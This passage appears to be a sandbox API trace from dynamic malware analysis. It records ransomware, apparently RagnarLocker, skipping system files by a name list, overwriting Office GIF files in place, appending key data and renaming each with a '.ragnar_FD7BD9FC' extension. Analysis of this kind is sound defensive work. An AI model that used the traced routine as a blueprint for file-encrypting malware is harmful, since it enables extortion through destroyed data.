lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.866] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3d4, lpOverlapped=0x0) returned 1 [0099.866] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.866] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.866] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3d4, lpOverlapped=0x0) returned 1 [0099.866] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.866] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.867] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.867] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.867] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.867] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.867] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.867] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.867] GetProcessHeap () returned 0x580000 [0099.867] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.867] CloseHandle (hObject=0x10c) returned 1 [0099.867] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" [0099.867] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.ragnar_FD7BD9FC" [0099.867] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21310_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21310_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.868] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c432e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c432e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21312_.GIF", cAlternateFileName="")) returned 1 [0099.868] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.868] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21312_.GIF" | out: lpString1="BD21312_.GIF") returned="BD21312_.GIF" [0099.868] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF") returned=".GIF" [0099.868] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.868] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="autorun.inf") returned 1 [0099.868] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="boot.ini") returned -1 [0099.868] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="bootfont.bin") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="bootsect.bak") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="bootmgr") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="bootmgr.efi") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="desktop.ini") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="iconcache.db") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="ntldr") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="ntuser.dat") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="ntuser.ini") returned -1 [0099.869] lstrcmpiW (lpString1="BD21312_.GIF", lpString2="thumbs.db") returned -1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.869] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif")) returned 0x20 [0099.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.870] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=257) returned 1 [0099.870] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.870] GetProcessHeap () returned 0x580000 [0099.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.870] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.871] VirtualAlloc (lpAddress=0x0, dwSize=0x101, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.871] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.871] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.871] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x101, lpOverlapped=0x0) returned 1 [0099.871] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.871] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x101, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.871] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x101, lpOverlapped=0x0) returned 1 [0099.871] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x101, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.872] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.872] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.872] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.872] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.872] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.872] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.872] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.872] GetProcessHeap () returned 0x580000 [0099.872] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.872] CloseHandle (hObject=0x10c) returned 1 [0099.872] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" [0099.872] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.ragnar_FD7BD9FC" [0099.872] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.873] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38afa700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x38afa700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x45, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21314_.GIF", cAlternateFileName="")) returned 1 [0099.873] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.873] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21314_.GIF" | out: lpString1="BD21314_.GIF") returned="BD21314_.GIF" [0099.873] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF") returned=".GIF" [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="autorun.inf") returned 1 [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="boot.ini") returned -1 [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="bootfont.bin") returned -1 [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="bootsect.bak") returned -1 [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="bootmgr") returned -1 [0099.873] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="bootmgr.efi") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="desktop.ini") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="iconcache.db") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="ntldr") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="ntuser.dat") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="ntuser.ini") returned -1 [0099.874] lstrcmpiW (lpString1="BD21314_.GIF", lpString2="thumbs.db") returned -1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.874] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif")) returned 0x20 [0099.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.875] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=69) returned 1 [0099.875] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.875] GetProcessHeap () returned 0x580000 [0099.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.875] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.876] VirtualAlloc (lpAddress=0x0, dwSize=0x45, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.876] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.876] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.876] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x45, lpOverlapped=0x0) returned 1 [0099.877] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.877] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.877] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x45, lpOverlapped=0x0) returned 1 [0099.877] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.877] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.877] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.877] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.877] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.877] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.877] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.877] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.877] GetProcessHeap () returned 0x580000 [0099.877] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.877] CloseHandle (hObject=0x10c) returned 1 [0099.877] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" [0099.877] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.ragnar_FD7BD9FC" [0099.878] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.879] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33eaf300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33eaf300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21316_.GIF", cAlternateFileName="")) returned 1 [0099.879] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.879] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21316_.GIF" | out: lpString1="BD21316_.GIF") returned="BD21316_.GIF" [0099.879] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF") returned=".GIF" [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="autorun.inf") returned 1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="boot.ini") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="bootfont.bin") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="bootsect.bak") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="bootmgr") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="bootmgr.efi") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="desktop.ini") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="iconcache.db") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="ntldr") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="ntuser.dat") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.879] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="ntuser.ini") returned -1 [0099.880] lstrcmpiW (lpString1="BD21316_.GIF", lpString2="thumbs.db") returned -1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.880] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif")) returned 0x20 [0099.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.880] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=275) returned 1 [0099.880] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x10a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.880] GetProcessHeap () returned 0x580000 [0099.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.880] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.881] VirtualAlloc (lpAddress=0x0, dwSize=0x113, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.881] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.881] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.882] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x113, lpOverlapped=0x0) returned 1 [0099.882] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 